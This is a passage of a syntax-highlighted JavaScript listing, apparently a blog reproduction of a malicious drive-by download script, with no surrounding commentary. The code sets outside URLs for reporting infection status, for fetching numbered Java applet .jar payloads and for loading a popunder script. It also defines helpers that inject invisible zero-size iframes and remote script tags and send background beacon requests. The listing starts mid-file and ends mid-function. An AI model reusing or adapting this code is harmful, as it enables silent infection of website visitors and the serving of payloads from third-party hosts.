<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre></p>
